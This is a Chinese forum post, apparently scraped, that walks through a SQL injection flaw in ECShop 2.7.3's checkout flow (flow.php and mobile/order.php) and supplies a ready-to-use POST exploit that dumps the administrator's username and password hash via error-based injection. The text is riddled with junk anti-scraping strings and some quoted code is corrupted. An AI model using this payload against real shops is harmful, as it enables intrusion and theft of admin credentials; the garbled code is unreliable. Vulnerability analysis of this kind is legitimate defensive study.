前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
2 G' d) E! _2 E# D. |. k
$ G \! X4 c9 W: u 漏洞关键文件:
3 O' F$ h' Q& e: H3 _
0 z/ G9 V( d4 ?4 L2 I3 ] /includes/lib_order.php
6 y u! C: @. X" }: m
, V3 h/ t% o+ b 关键函数:
9 h/ V0 R+ b! H, P+ | l3 f. F; B, ~- T; H0 X9 T2 J
: l) _2 \! m! D' P
* i, S6 ~9 B: T( j3 ?% f01 function available_shipping_list($region_id_list) $ \, C5 G, |+ m7 v8 b4 G# |5 ?
: {) w; P+ h u* Z9 W: h9 \02 { ; j7 Z F2 G) p8 }; ?
; N( X9 U+ J8 l# i+ N* ^# b03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
5 v, L, l2 f* Q" f: K1 g% ^. ?7 N$ ]3 Y% h
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
! h, E2 @5 I" w
4 m' p7 K5 ?" S0 ^8 ~8 K5 j05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
9 g7 ~) ^3 y# v- v$ V, \. {2 F$ M) Z# [& h( F* F) d
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . # e: B' Z# b& N4 p" k* u
" Q; P8 C1 [/ l- |* E3 F, C* X07 $GLOBALS['ecs']->table('area_region') . ' AS r '. - t# ]! q) _& G; L+ Z
' U7 y; j! l) C- W, n08 'WHERE r.region_id ' . db_create_in($region_id_list) . ) _( P+ v; c3 R5 o9 i2 S
2 B4 o) {4 g- f, y09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
* J" g8 F+ o& I# j9 m% a/ s7 R
( V5 A& _, S" p+ K W# c( H10 " m/ ^( ~, b. f8 L+ n. V
* T5 {2 | {1 M$ e& V5 Q11 return $GLOBALS['db']->getAll($sql); & H, R' t) V9 E$ ^/ v# ^
+ k7 c9 _9 R1 }. v# P12 } 4 u) ]+ f: Q- h& H2 L
7 R9 m3 y+ E1 a* i显然对传入的参数没有任何过滤就带入了查询语句。8 _6 n2 R! S ?+ K5 E
. n# \' K: w. l9 Z) ^
下面我们追踪这个函数在flow.php中:4 \5 ~$ M- W/ y b0 p2 E
第531行: \6 R7 j8 a4 L$ ^
) `! p" b% E" H0 B# R
1 $shipping_list = available_shipping_list($region);
0 c' \- L" F9 C' n* l/ g
. b! V" v: I! R: r
* S+ \( J$ \) x; N) \
6 k( B) i' h0 I) S7 U
1 T$ O' W+ \4 D" C
! P7 _1 ]2 D) u! R8 a1 f; L再对传入变量进行追踪:( [" W$ P- H( b/ a! c4 p2 w1 y& I, e
0 ]& N+ T" }! f4 h( B& S第530行: ) V, u, A0 k& y
& S) F' P6 Q- D
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
4 S8 V. h4 o1 P: ?2 d0 B& X5 _5 T7 k- l: k. s# n
! t7 v* i8 r5 U% |
8 @1 F$ R! C d" P
" l. R" x4 D+ ^% z
; ]' t; Z+ b/ C第473行: " }. g F6 F: [; |3 c' `8 S5 \% k8 R
' y+ b1 P6 x& q8 v( W0 G" v0 M
1 $consignee = get_consignee($_SESSION['user_id']); , m/ X/ W& e# Q3 a
) d: P, G. a6 y到了一个关键函数:! ]& P4 u" I# D0 V5 P% X$ w
6 j3 I( v1 V5 a) T/includes/lib_order.php
$ |3 o) v7 ?" k! \/ v: P8 s6 W: I4 j V+ [2 Y9 }2 B
' N. R' K2 k' P( I2 i4 T% m& W
I6 V- J9 |! x j( [1 C
& o; \/ c2 {6 s1 s# m8 A) x# z% C. Z. S$ ?; F2 S8 S
01 function get_consignee($user_id)
! f, m5 o7 ] }# A
# d: g1 C9 X \6 T( h02 { $ C7 I/ o& `8 \% v5 w. e! E
6 J: c0 q* m2 B5 a03 if (isset($_SESSION['flow_consignee']))
. F. V. o g: p( P- |5 q/ D0 }# m% G* H/ N' u% I
04 { - s" l9 a Q& f. x( w! K
4 w% Y0 r K/ f1 Q
05 /* 如果存在session,则直接返回session中的收货人信息 */
/ ~; {% P. [8 F! q* D) ~7 J9 j3 q& e' l* J+ V6 c8 _3 ~
06 " {5 K) o" U( ]2 e- q5 ~7 i% q
: `0 i" c \$ @# y
07 return $_SESSION['flow_consignee'];
( G4 x4 Y$ X* O3 x$ k( x; c+ Y7 }, C2 y7 n! ~* g4 `% e
08 } 9 S4 i9 Q) [* ?/ b
) v0 B! u) e- V1 m
09 else
% M( H4 J* Q7 R9 B% X0 T1 r7 W8 e5 T+ ~3 O# z' l
10 { * d2 R5 w0 h/ m! I+ L! ]
8 M$ i# e$ ~% f2 ~11 /* 如果不存在,则取得用户的默认收货人信息 */
9 _$ r4 M2 R0 d+ l& J" v8 W' ~- k1 `+ f2 Z7 w
12 $arr = array();
) s) F" C; }& u1 M, F* e- N% ?1 d+ _7 E0 f) b3 S t0 R5 @
13
5 g+ e- @+ Q A& q
3 B6 n k3 U& y" o0 o, X$ Z14 if ($user_id > 0)
. S8 B1 g! \8 H& y( ? \
1 F8 d* |9 [6 w" O U15 {
0 J8 Y$ j1 c! |* f; l4 s4 r1 N
16 /* 取默认地址 */
% }2 u1 J) K7 @! L$ Q3 `3 S5 e% Q2 v+ V% e* l7 J& C6 l* x
17 $sql = "SELECT ua.*". ' E: P+ ?* [6 v* _
6 _1 M5 C) O3 Q' @& d8 V$ t0 C18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
9 m% h6 [( l* K7 i; p9 K* w5 R9 f
* O. p; X" c6 M3 Q' c19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
c) M* S5 z) V. N
1 X$ X" b- d1 t8 ~+ O4 `20
! E# h+ r5 _ H
9 s3 g9 J }' a21 $arr = $GLOBALS['db']->getRow($sql);
: Y" E$ D) R9 ~3 d" S N
; O+ w* K7 [; N, Y2 X/ y e22 } - U2 ]5 }% M; e& `% {! j7 [. y8 H
/ r2 ]2 c* B% r+ B9 y23
- v% g4 I/ Z$ `; V( n
* Q* A) ~7 K, w$ j24 return $arr; ; C; t$ Q5 D. }" \
% f) [- ^; K2 t4 Y" M. i
25 }
& T) N* G3 o0 D+ [2 o4 h! d% p" ]! `( {" h f) B/ Y
26 } ; n6 ]0 {7 w0 J! k
3 c, a: ]- c9 s F: @显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?9 a% h/ s: a% \3 r& m V
5 o8 L3 p8 ~$ j; m4 e: k
& Q5 r3 |. _1 u1 V" R" x* V& t
! P" O1 j2 H. Q6 M2 U& O$ c# c关键点:+ s$ o9 B% p" l3 w/ L9 A) x3 R; p3 d
2 m5 y" {. F0 T
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);0 q; {; x( R `2 F+ b8 P
+ J S$ E' R/ G0 @ S
这里对传入参数反转义存入$_SESSION中。2 H& t; e' I& l5 {. r% q
9 X2 D' L, H' H$ C/ B- i1 I3 o / w& ^. u g, F6 q" b8 V
& F$ O9 J2 T5 e& ^. N
然后看下:
+ e- c; n/ U' W- Z
; Z# N# [# W* W( [# Z
; x; P; q( n& S$ \) L
. u8 r! f; [7 k+ F8 b4 ~4 i- J 5 M# W' l8 O0 h7 S
4 I, Q. y5 @$ p2 C' E01 $consignee = array(
5 G, \2 Y/ R( }
; {( N9 x+ I* J2 j02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 1 `+ `" O* U" T) c
; H7 j# D( i0 t: b* `' ?$ c
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
* E6 {% | v7 R' x
7 D2 v$ c. A: Z. m8 `04 'country' => empty($_POST['country']) ? '' _POST['country'], # t+ C9 Z* V9 C0 A2 R1 l Y$ r' V
5 J+ A6 d. x1 H05 'province' => empty($_POST['province']) ? '' _POST['province'], : J5 D! x. B, _* I ]/ ]
/ y5 A# W5 K: X' ?06 'city' => empty($_POST['city']) ? '' _POST['city'], - N- K. L" S$ K! M: ?
/ M$ v' Z, \" V1 [- j07 'district' => empty($_POST['district']) ? '' _POST['district'], 1 \' }0 M4 {8 E; H# x# z# I" x7 k
5 N9 k, r) e, T3 f$ j- ]
08 'email' => empty($_POST['email']) ? '' _POST['email'],
/ Z A/ V1 c& [0 D# h' D4 Z; Q7 I/ h- P* O) {( _, s! j& t. j$ N
09 'address' => empty($_POST['address']) ? '' _POST['address'], ) Y8 }* k1 M9 _
4 ]3 N# }; w, C% B; F
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
! V4 q+ x, f( D' E8 a) l( I( d( H7 Z7 L' a) x, L* s) f' w6 ?3 P
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
* ?% k+ @4 X" [% t. p, S0 i$ q4 o
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
5 l# Y0 z/ E: E5 \( P- q2 ]$ m1 X8 W+ G6 `! I' s: u4 X
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ) m; F' n7 t& [8 Q+ M! w4 z
r r% B2 Z0 x! b2 }14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
5 S/ e6 x) H& W) A: r% U
2 j! d; W; w7 j) h2 c15 );
9 A* w' z! w. v4 f2 m1 K
+ ]$ T. ~) t Q: s, H好了注入就这样出现了。, {8 G9 T0 U# T' m s
" S7 H* d8 L6 E==================
5 a* w6 `# W7 b1 \2 |6 v. x0 G* L( P! Z3 V5 H8 \, W
注入测试:
/ T d6 Q" M4 ? f. M% u3 m; e5 B |" d, D
- d7 p3 j7 ]' o8 |: H R$ J环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
2 n; _7 P. p/ f, Q* y% n. _0 X3 h% j- J
测试程序:ECShop_V2.7.3_UTF8_release1106
1 e# c# E/ D( g# V' g; o, ~/ i5 ?* D- X
5 H4 ~. u- [6 m
9 t$ {. S; S* b* n4 x9 r. I
1.首先需要点击一个商品加入购物车
1 D0 H8 U" V& C7 G
# ^# m% M+ m/ O2 y s1 H* }2.注册一个会员帐号1 ~) K T. @- |3 ]9 ]
" }" r- m( D6 }/ x& v2 e3.post提交数据
) }, M$ A0 \ p0 |7 d, n& r" i: I( Q G5 j4 I$ ]# l7 b
; u1 _: k, M5 B8 J
, E/ ~, N5 J2 V% p5 D! C1 http://127.0.0.1/ecshop/flow.php
+ k8 q" p/ B8 T' L: }9 K; `- H8 f) f: B4 S
2
* ^7 U1 w* t. O" }/ }3 a# o1 m2 ]3 t v% } F$ m7 _
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ! A: @$ Z' _$ d8 ]# K1 d. j
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
4 f8 O5 V- v& y/ w4 \- s: s7 e! r2 ~$ |: g6 D- Q! g4 L
我们搜寻关键函数function available_shipping_list()8 B) K4 w( V* V" @' _
8 _% N( g" _( m0 s4 j, f在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同& K5 I0 J ^! d7 T q$ k4 R
% u7 U/ }2 o' O1 F2 c
利用exp:
7 p8 y+ B5 Y% C& z8 o# l7 C' l# N
. H v5 i/ O. A% W0 ^1.点击一个商品,点击购买商标* o% x2 z+ g N1 n
- s- t' ^* K7 b3 z/ r& {
2.登录会员帐号3 d$ e, Y, G3 ]# L2 H" k V
0 Y3 R' E9 h% F, N3 i
3.post提交:1 _! {8 g" e+ Y; B2 S& k
: n8 ?7 q; U4 g s/ X$ Hhttp://127.0.0.1/ecshop/mobile/order.php
* x; ?6 [9 O& `5 x1 _* H0 w' [ J2 s. h6 v, W; g# O. b
; s' {8 W( b6 G0 w2 k$ I: s
# _0 I! c! B+ K- y; scountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=0 Y; P8 ]0 c( A, R
5 q7 T% u2 r7 i/ L: v |